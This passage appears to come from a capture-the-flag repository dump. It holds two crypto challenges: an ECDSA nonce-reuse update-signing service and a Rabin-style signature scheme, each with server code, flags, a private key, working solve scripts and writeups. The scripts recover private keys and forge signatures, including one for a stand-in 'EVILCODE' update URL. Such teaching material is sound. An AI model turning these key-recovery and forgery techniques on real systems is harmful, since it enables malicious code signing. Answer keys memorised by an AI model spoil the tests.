output\n\n\n@app.route(\"/\")\ndef root():\n    return redirect(url_for('update'))\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=1337)\n"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/secp256r1.key",
    "content": "-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIN4TO0+AfeX2d4OnxsG863ibIWVtwtjWdlmTChJQnSkToAoGCCqGSM49\nAwEHoUQDQgAEaSLgjOOtncCtdsHgz75f1e80IbIEa2I9/IE3men8kYtZwTRWpYrK\nBr5TKke2Z+QzDn4ZcrRdAmh+H8/Zbw4kNw==\n-----END EC PRIVATE KEY-----\n"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/update.log",
    "content": "https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018 MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA=\nhttps://GOODCODE/update/4d4b2429f62ded41b075fcd0f0528c3b4cbd281494f04f93697dae7e1e5562f3 MEQCIGLKyLXEGqqprGMgZC7ZcJysCKSP0wbvRUQ++1I/H0O1AiBkf/x4XMsLoHq6VUWZaDOs4J2ZU2DXWFqhyJ5+72zg/g==\nhttps://GOODCODE/update/3dced7a6fe020797c7bf1e5a08a576b777aa10a8816850a1fb6661d5c97081fb MEQCIBLpxSLhwVY7xD41tUgzYjzraXxUETO01DWcuYG1oluGAiB5CkYhYlvcTXpgSTb/avuuNFo9cEK04+OsqSx6DY1vzg==\nhttps://GOODCODE/update/4469f20adeeadcc700b97da48b21f143ce524ed338754471ef2638a3921b461c MEQCIEXuMldMbZ2Arz0CQgwJoEendtNRxAoG5XnVkfcEc2yMAiA+FpL/JC8kMxchpfaTImvLpRVWE4rTK6GgNQLBZOQIPw==\nhttps://GOODCODE/update/380fde2d3c3c28b87fabba0728ab548713823f362914ed85cfa43baeddaeff16 MEYCIQCbkzxkYSed+cO6F3EaoBF1uh1uBojdCq0EjFUyxBPyLAIhALzNUWhc2/JSjHAyUklmOgPcw98CkApS5+TvPaz6zYc2\nhttps://GOODCODE/update/80d786fdd1a65421fd1fb43cf39edbec91f6c3dbcb94a509dc772e3f36966c1f MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhAMngUbr1aw1jjBmzr+pGSzo0F0jsNxjHY0NZvhzS5RDn\nhttps://GOODCODE/update/3387677bc29d24ac5072d9b25bbc49971418ee938971a13c92d7c64e03b5c9b8 MEQCIDtlg/jov1uweEYV6TYMwqp59L28AplsK+p1wBOVy/G1AiB6aEEf5i8cANK77UIrAUPxdQeaWPc1dhkbB7CkyGzzhg==\nhttps://GOODCODE/update/65f3f974b29b04c6f9186084fba8470b3d5fa8cdd4461e0ce110573d19ee0a3b MEUCICjG/d2NXFhL1Ow8dJbqy/50P7KPgWH+BxCUUHAUGmmsAiEAyrq4wGx9Vfbo1TLltseRVRiAsImRE9u+7Z9xfb6BY1c=\nhttps://GOODCODE/update/9209e22a576ea90d3ccd38435095f5c9b4729f3624c52169f3d0a861250bc958 MEYCIQDh+I/CsJFTGl1Ocdy/oKvXCPJcXhRIxYk+TMH3cYqVsQIhANnezlyV7osSfpIr5F1zJdeHVQGi9l8y1ZdrFS0L1QFV\nhttps://GOODCODE/update/c30f4d19422b374a7624f364d245ef208847c1f19d5d939acba777ccda6e79db MEQCIE835xvwnLWPuigxyxunD9K3T3enFx1ptLbW5Fo64xRqAiAS3kilsPL/uESCYO6ModsTui/M1zb77yXw5+DvWG2Wgg==\nhttps://GOODCODE/update/0f763be9b51eb80c732108b9da5a4e3110565604e6693141caf28c7ffc3ae509 MEYCIQCnWKUzpH1NoQ/PMQfh3ezJIbkfHhhzLh8w9Y9tSxI6LQIhAJt9R7a996lzpFVjoREFfjxV7+98Ff4Bp+DHPy1OkEa0\nhttps://GOODCODE/update/e29faae8cd5dddf2098581a0b6a7023f6e81dd83afd284488400c5a5731d228e MEUCIQDpalsTIHHoJExe/K/nFxP65CDtPpBvPwTKDLfXMbN7tAIgThZjvBAW0Y/1VCPNGAsBOcJGYK+4DzKvpZda7wQguoo=\nhttps://GOODCODE/update/403fa90dbe63c3374b71e57e6bf02c57dd8bcc730edec9b4f64213d2b9e048b6 MEQCIECGFB050hcAMVdEbifHGCBWf/RbGaW+LzMC1oStTjwIAiAjgUO03H6KoVoFHaUjjMSXN1CoDpeyECjv6DemvAbG5g==\nhttps://GOODCODE/update/5cd5a39511980526236f50bd2a36ef6520f88ea3cfcd8d064467c8e64b563cbe MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhALRF93QCEXTVsPCtITYnNpXQ2dM33YvrHhfK9t4P1VGN\nhttps://GOODCODE/update/a4e62ce498a676179e739c1e5346049a0ba69805ecf1e16d26b2defd3f6f6931 MEYCIQCJOv4ySbAeecUF2NKLAGzM3oemf4drCp0DSphf75MvVQIhAP/IhK0yYOvnKsYq/kKJN+8NBZwwSpv6qLuqRSpUT1tB\nhttps://GOODCODE/update/f8442ff7e69b88edf9fc4d5ee48967d72602ed7e811c1164cfba69ab46ce8a32 MEYCIQDy5voOPCbpBS7BbnMbr8xO/Ddq4/XH/0oaIx7akii2LAIhAMdPoN9zBpXwQ5xfixaZSd59QHmyHDDQRhLDky6axSfc\n"
  },
  {
    "path": "crypto/otwhat-2/challenge/generate_audit.py",
    "content": "from Crypto.PublicKey import ECC\nfrom Crypto.Hash import SHA3_512\nfrom Crypto.Signature import DSS\nfrom Crypto.Util import asn1\nimport base64\nimport random\n\nwith open(\"app/secp256r1.key\") as f:\n    key = ECC.import_key(f.read())\n    signer = DSS.new(key, 'fips-186-3', 'der')\n\nprefix = \"https://GOODCODE/update/\"\nurls = [prefix + random.randbytes(32).hex() for i in range(16)]\n\nduplicate_indices = [random.randint(0, 15), random.randint(0, 15)]\nwhile duplicate_indices[0] == duplicate_indices[1]:\n    duplicate_indices = [random.randint(0, 15), random.randint(0, 15)]\n\nurls = [\n    (url, signer.sign(SHA3_512.new(url.encode())))\n    if i not in duplicate_indices else\n    (url,)\n    for i, url in enumerate(urls)]\n\nk = random.randbytes(256)\ndef fixed_rng(l):\n    print(k[:l])\n    return k[:l]\n\nvulnerable_signer = DSS.new(key, 'fips-186-3', 'der', fixed_rng)\n\nfor i in duplicate_indices:\n    url, = urls[i]\n    urls[i] = (url, vulnerable_signer.sign(SHA3_512.new(url.encode())))\n\nprint(k)\nprint(duplicate_indices)\nwith open(\"app/update.log\", \"w\") as f:\n    for url, sig in urls:\n        f.write(f\"{url} {base64.b64encode(sig).decode()}\\n\")\n"
  },
  {
    "path": "crypto/otwhat-2/challenge.yml",
    "content": "version: \"0.1\"\nid: otwhat-2\nname: OTWhat 2\ncategory: crypto\ndescription: |\n  \"We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response.\"\n\n  Author: nullableVoid*#7225 \n\nconnection_info: ${url}\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}\n"
  },
  {
    "path": "crypto/otwhat-2/solve/solve.py",
    "content": "import sys\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport base64\nfrom Crypto.Hash import SHA3_512\nfrom Crypto.Util import asn1\nfrom Crypto.PublicKey import ECC\nfrom Crypto.Signature import DSS\nfrom base64 import b64encode\n\nsoup = BeautifulSoup(\n    requests.get(f\"http://{sys.argv[1]}/update.cgi\").text, \"lxml\"\n)\n\nsignatures = []\nfor row in soup.select(\"tr\"):\n    cells = row.select(\"td\")\n    if cells:\n        signatures.append(\n            (\n                cells[0].text.strip(),\n                list(\n                    asn1.DerSequence().decode(base64.b64decode(cells[1].text.strip()))\n                ),\n            )\n        )\n\nduplicates = []\nseen = {}\nfor i, signature in enumerate(signatures):\n    url = signature[0]\n    r, s = signature[1]\n    if r in seen:\n        duplicates = [(url, s), seen[r]]\n        break\n\n    seen[r] = (url, s)\n\n\nprint(duplicates)\n\nzs = [\n    int.from_bytes(SHA3_512.new(d[0].encode()).digest(), \"big\") >> 256\n    for d in duplicates\n]\nss = [d[1] for d in duplicates]\nn = 115792089210356248762697446949407573529996955224135760342422259061068512044369\nk = ((zs[0] - zs[1]) * pow(ss[0] - ss[1], -1, n)) % n\nda = (((ss[0] * k) - zs[0]) * pow(int(r), -1, n)) % n\nk = ECC.construct(curve=\"secp256r1\", d=da)\n\nforged_signature = DSS.new(k, \"fips-186-3\", \"der\").sign(\n    SHA3_512.new(b\"https://EVILCODE/\")\n)\n\nprint(b64encode(forged_signature).decode())\n\nresult = requests.post(\n    f\"https://{sys.argv[1]}/update.cgi\",\n    data={\n        \"url\": \"https://EVILCODE/\",\n        \"signature\": b64encode(forged_signature).decode(),\n    },\n).text\n\nprint(re.search(r\"DUCTF\\{.*\\}\", result)[0])\n"
  },
  {
    "path": "crypto/otwhat-2/solve/writeup.md",
    "content": "As the flag heavily references the OG talk, this is a known cryptographic failure of PS3 signed software, with the use of a static k.\n\nIn order to recover the private key, two signatures with identical `r` and the order of the curve used is required.\nThe web service provides an \"Update audit log\", providing update URLs and correlating OEM signatures. The signatures are PEM-encoded ASN.1 sequences containing just two integers, r and s.\nOnce the player has identified signatures with an identical `r`, they must also identify the hashing algorithm used so that they recover the `z` (leftmost bits of a digest).\nThe HTML source has a `DEBUG` section providing the resulting hash digest, which is 512-bit. After identifying the hash to be 512-bit, the player can then recover the private key.\n\nNote: calculations below are done in modulo `n`, where `n` is the order of the P-256 curve.\nThe two `z` variables must be recovered by using the hashing algorithm and taking its leftmost 256 bits:\n```\nbytes_to_long(SHA3_512(url)) >> 256\n```\nThese `z` variables can then be used with the two `s` variables from the identified signatures to recover the nonce `k`:\n```\nk = (z1 - z2) / (s1 - s2)\n```\nThe private key `d` can now be calculated using one of signatures and its `k`:\n```\nd = ((s * k) - z) / r\n```\n\nAll the player has to do now is specify the scalar `d` when constructing a `secp256r1` key, and then sign the URL `https://EVILCODE/` using ECDSA.\n"
  },
  {
    "path": "crypto/power-sign/Dockerfile",
    "content": "FROM sagemath/sagemath:9.1\n\nENV DEBIAN_FRONTEND=noninteractive\nRUN sudo apt-get update \\\n    && sudo apt-get install -y socat --fix-missing \\\n    && sudo rm -r /var/lib/apt/lists/*\n\nCOPY ./challenge/power-sign.sage /home/ctf/chal/chal.sage\nCOPY ./challenge/flag.txt /home/ctf/chal/\nWORKDIR /home/ctf/chal\nENTRYPOINT sudo socat -dd TCP4-LISTEN:1337,fork,reuseaddr EXEC:\"sage chal.sage\"\n\n"
  },
  {
    "path": "crypto/power-sign/README.md",
    "content": "# power sign\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nYou know the drill. Forge a signature, get the flag.\n\n**Attached files:**\n- ./challenge/power-sign.sage (sha256: 7d3ecc8561600b4b7f61b94af135fd50caf55c353b4f8b935ae126492a687446)\n"
  },
  {
    "path": "crypto/power-sign/challenge/flag.txt",
    "content": "DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}\n"
  },
  {
    "path": "crypto/power-sign/challenge/power-sign.sage",
    "content": "#!/usr/bin/env sage\n\nproof.arithmetic(False) # just makes things faster\n\ndef get_3m4_prime(N):\n    while True:\n        p = random_prime(2^N - 1, lbound=2^(N-1))\n        if p % 4 == 3:\n            return p\n\ndef generate_key(L, n, m):\n    p = get_3m4_prime(L//2)\n    q = get_3m4_prime(L//2)\n    N = p*q\n    r = next_prime(N)\n    F.<x> = PolynomialRing(GF(r))\n    K = F.quo(F.irreducible_element(n))\n    return (K, m), N, (p, q)\n\ndef H(params, msg, u):\n    K, m = params\n    r, z = K.characteristic(), K.gens()[0]\n    h = 0\n    while msg > 0:\n        h *= z\n        h += msg % r\n        msg //= r\n    h += z*u\n    for _ in range(m):\n        h ^= r\n    assert len(list(h)) != 0\n    return int(h[0])\n\ndef sign(params, privkey, msg):\n    p, q = privkey\n    u = 1\n    while True:\n        c = H(params, msg, u) % (p*q)\n        if legendre_symbol(c, p) == legendre_symbol(c, q) == 1:\n            break\n        u += 1\n    xp = pow(c, (p+1)//4, p)\n    xq = pow(c, (q+1)//4, q)\n    x = crt([int(xp), int(xq)], [p, q])\n    return x, u\n\ndef verify(params, pubkey, msg, sig):\n    N = pubkey\n    x, u = sig\n    c = H(params, msg, u)\n    return x^2 % N == c % N\n\ndef main():\n    print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!')\n    FLAG = open('./flag.txt', 'r').read().strip()\n\n    L, n, m = 1024, 15, 3\n    params, pubkey, privkey = generate_key(L, n, m)\n    print('N:', pubkey)\n\n    msg = int(input('message (in hex): '), 16)\n    if msg < pubkey^m:\n        print('That message is too small!')\n        exit()\n    if msg > pubkey^n:\n        print('That message is too big!')\n        exit()\n    x, u = sign(params, privkey, msg)\n    print('x:', x)\n    print('u:', u)\n\n    auth_msg = randint(1, pubkey^5)\n    print('Now sign', hex(auth_msg))\n    x = int(input('x: '))\n    u = int(input('u: '))\n\n    if verify(params, pubkey, auth_msg, (x, u)):\n        print(FLAG)\n    else:\n        print('Incorrect!')\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "crypto/power-sign/challenge.yml",
    "content": "version: \"0.1\"\nid: power-sign\nname: power sign\ncategory: crypto\ndescription: >\n  You know the drill. Forge a signature, get the flag.\n\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/power-sign.sage\n\nflags:\n  - DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}\n"
  },
  {
    "path": "crypto/power-sign/docker-compose.yml",
    "content": "version: '3'\nservices:\n  power-sign: # challenge name\n    build: .\n    ports:\n      - \"1337:1337\" # local:container\n    privileged: true\n"
  },
  {
    "path": "crypto/power-sign/solve/solv.sage",
    "content": "import os\nos.environ['PWNLIB_NOTERM'] = 'True'\nfrom pwn import *\nfrom parse import parse\n\nproof.arithmetic(False)\n\ndef H(params, msg, u):\n    K, m = params\n    r, z = K.characteristic(), K.gens()[0]\n    h = 0\n    while msg > 0:\n        h *= z\n        h += msg % r\n        msg //= r\n    h += z*u\n    for _ in range(m):\n        h ^= r\n    return int(h.polynomial()[0])\n\ndef sign(params, privkey, msg):\n    p, q = privkey\n    u = 1\n    while True:\n        c = H(params, msg, u) % (p*q)\n        if c != 0 and legendre_symbol(c, p) == legendre_symbol(c, q) == 1:\n            break\n        u += 1\n    xp = pow(c, (p+1)//4, p)\n    xq = pow(c, (q+1)//4, q)\n    x = crt([int(xp), int(xq)], [p, q])\n    return x, u\n\n# context.log_level = 'debug'\n# conn = process('../challenge/power-sign.sage')\nconn = remote('0.0.0.0', 1337)\nconn.recvline()\nN = list(parse('N: {:d}\\n', conn.recvline().decode()))[0]\n\nn, m = 15, 3\nr = next_prime(N)\nF = GF(r)\nK.<zK> = F.extension(n)\nE = K.subfield(m, 'zE')\nzE = E.gens()[0]\n\ne0 = int(K(zE).polynomial()[0])\ns = randint(1, N)\ns2 = s^2 % N\nk = K(inverse_mod(e0, r) * s2 * zE) - zK\ny = sum(int(a)*r^i for i, a in enumerate(k.polynomial().coefficients(sparse=False)[::-1]))\n\nconn.sendlineafter('message (in hex): ', hex(y))\nx = list(parse('x: {:d}\\n', conn.recvline().decode()))[0]\nu = list(parse('u: {:d}\\n', conn.recvline().decode()))[0]\n\nif x == s or x == -s % N:\n    print('attack failed... try again')\n    exit()\n\np = gcd(s - x, N)\nq = N//p\n\nauth_msg = list(parse('Now sign {:d}\\n', conn.recvline().decode()))[0]\nx, u = sign((K, m), (p, q), auth_msg)\nconn.sendlineafter('x: ', str(x))\nconn.sendlineafter('u: ', str(u))\n\nprint(conn.recvline().decode())\n"
  },
  {
    "path": "crypto/power-sign/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"84581558\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Challenge Overview\\n\",\n    \"\\n\",\n    \"We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.\\n\",\n    \"\\n\",\n    \"The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \\\\equiv H(m, u) \\\\pmod N$ holds.\\n\",\n    \"\\n\",\n    \"In the challenge, the primes generated are of the form $p \\\\equiv 3 \\\\pmod 4$. This is done because if $p$ is a prime such that $p \\\\equiv 3 \\\\pmod 4$, then if a square root of $a \\\\in \\\\{ 0, \\\\ldots, p-1 \\\\}$ exists, it can be easily computed as $\\\\pm a^{\\\\frac{p+1}{4}} \\\\mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.\\n\",\n    \"\\n\",\n    \"## Security of Rabin Signatures\\n\",\n    \"\\n\",\n    \"Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can \\\"forge\\\" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \\\\equiv m \\\\pmod N$.\\n\",\n    \"\\n\",\n    \"More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \\\\mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \\\\neq \\\\pm x \\\\pmod N$, then we have\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    x^2 &\\\\equiv y^2 \\\\pmod N \\\\\\\\\\n\",\n    \"    \\\\implies x^2 - y^2 &\\\\equiv 0 \\\\pmod N \\\\\\\\\\n\",\n    \"    \\\\implies x^2 - y^2 &= kN \\\\quad \\\\text{for some $k$} \\\\\\\\\\n\",\n    \"    \\\\implies (x-y)(x+y) &= kN\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"so $\\\\gcd(x-y, N)$ reveals a nontrivial factor of $N$.\\n\",\n    \"\\n\",\n    \"## The Hash Function\\n\",\n    \"\\n\",\n    \"This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.\\n\",\n    \"\\n\",\n    \"We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.\\n\",\n    \"\\n\",\n    \"Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \\\\mathbb{F}_{r^n} \\\\cong \\\\mathbb{F}_r[x]/(f)$ of $\\\\mathbb{F}_r$, where $f \\\\in \\\\mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\\\\{ 1, z, z^2, \\\\ldots, z^{n-1} \\\\}$ is basis for $K$ when viewed as an $n$-dimensional $\\\\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \\\\cdots + a_{n-1} z^{n-1}$ where $a_i \\\\in \\\\mathbb{F}_r$.\\n\",\n    \"\\n\",\n    \"The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"M = M_0 + M_1 r + M_2 r^2 + \\\\cdots + M_k r^k\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"h = M_k + M_{k-1} z + M_{k-2} z^2 + \\\\cdots + M_0 z^k\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(h + uz)^{r^m} = a_0 + a_1 z + \\\\cdots + a_{n-1} z^{n-1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The output is $a_0$.\\n\",\n    \"\\n\",\n    \"## Choosing a Message to be Signed\\n\",\n    \"\\n\",\n    \"After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.\\n\",\n    \"\\n\",\n    \"If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \\\\mod N) r$. The hash function will convert this to $h = (s^2 \\\\mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \\\\mod N$ since all elements $a \\\\in \\\\mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.\\n\",\n    \"\\n\",\n    \"Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\\\\mathbb{F}_r$. We have\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"H(M, u) = (h + uz)^{r^m}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \\\\circ g$ where\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"g(M, u) = h + uz \\\\qquad f(x) = x^{r^m}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"f(x) = x \\\\implies x^{r^m} = x \\\\implies x^{r^m} - x = 0\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\\\\times = E - \\\\{ 0 \\\\}$ is a cyclic group of order $r^m - 1$, so if $\\\\alpha \\\\in E$, then $\\\\alpha^{r^m - 1} = 1$ and so $\\\\alpha^{r^m} = \\\\alpha$. That $E^\\\\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.\\n\",\n    \"\\n\",\n    \"So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    x^{r^n} &= x^{r^{km}} \\\\\\\\\\n\",\n    \"            &= x^{(r^m)^k} \\\\\\\\\\n\",\n    \"            &= x^{(r^m)(r^m)^{k-1}} \\\\\\\\\\n\",\n    \"            &= (x^{r^m})^{(r^m)^{k-1}} \\\\\\\\\\n\",\n    \"            &= x^{(r^m)^{k-1}} \\\\\\\\\\n\",\n    \"            &\\\\quad \\\\vdots \\\\\\\\\\n\",\n    \"            &= x\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.\\n\",\n    \"\\n\",\n    \"Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"z_E = e_0 + e_1 z + \\\\cdots e_{n-1} z^{n-1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $e_i \\\\in \\\\mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(s^2 \\\\mod N) + a_1 z + \\\\cdots a_n z^{n-1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"such that when $H$ is applied to this element, the constant term remains as $s^2 \\\\mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \\\\mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.\\n\",\n    \"\\n\",\n    \"The element in $K$ we are interested in is obtained by computing\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(s^2 \\\\mod N) e_0^{-1} z_E - z = (s^2 \\\\mod N) + a_1 z + \\\\cdots + a_n z^{n-1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"To send this to the server, we encode it as an integer:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"a_n + a_{n-1} r + \\\\cdots + a_1 r^{n-2} + (s^2 \\\\mod N) r^{n-1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The server will compute for us a square root $y$ of $s^2 \\\\mod N$ and if we have $y \\\\neq \\\\pm s$, we can easily recover the private key using the technique described two sections ago.\\n\",\n    \"\\n\",\n    \"Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.\\n\",\n    \"\\n\",\n    \"### Easier Solution\\n\",\n    \"\\n\",\n    \"I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \\\\in K$, then for any of our chosen $x \\\\in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)\\n\",\n    \"\\n\",\n    \"## Alternative Approach via Linearity Properties\\n\",\n    \"\\n\",\n    \"This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"H(M, u) = H(M, 0) + u H(0, 1) \\\\pmod r\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    x^2 &= H(M, u) \\\\\\\\\\n\",\n    \"\\\\implies x &= H(M, u) \\\\qquad \\\\text{since $x = 1$} \\\\\\\\\\n\",\n    \"\\\\implies x &= H(M, 0) + u H(0, 1) \\\\\\\\\\n\",\n    \"\\\\implies u &= H(0, 1)^{-1}(x - H(M, 0))\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Then, $(x, u)$ is a valid signature for $M$.\\n\",\n    \"\\n\",\n    \"This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!\\n\",\n    \"\\n\",\n    \"## Alternative Approach via Galois Theory\\n\",\n    \"\\n\",\n    \"Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\\\\phi : K \\\\rightarrow K, x \\\\mapsto x^r$ which is an $\\\\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\\\\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\\\\phi^n : K \\\\rightarrow K, x \\\\mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\\\\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.\\n\",\n    \"\\n\",\n    \"In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\\\\mathbb{Z}/15\\\\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\\\\mathrm{id}$ denotes the identity map):\\n\",\n    \"\\n\",\n    \"|Subgroup of $G$|Intermediate Field of $K$|\\n\",\n    \"|---|---|\\n\",\n    \"|$H_0 = \\\\{ \\\\mathrm{id} \\\\}$|$K^{H_0} = K$ (all elements are fixed by $\\\\mathrm{id}$)|\\n\",\n    \"|$H_1 = \\\\{ \\\\mathrm{id}, 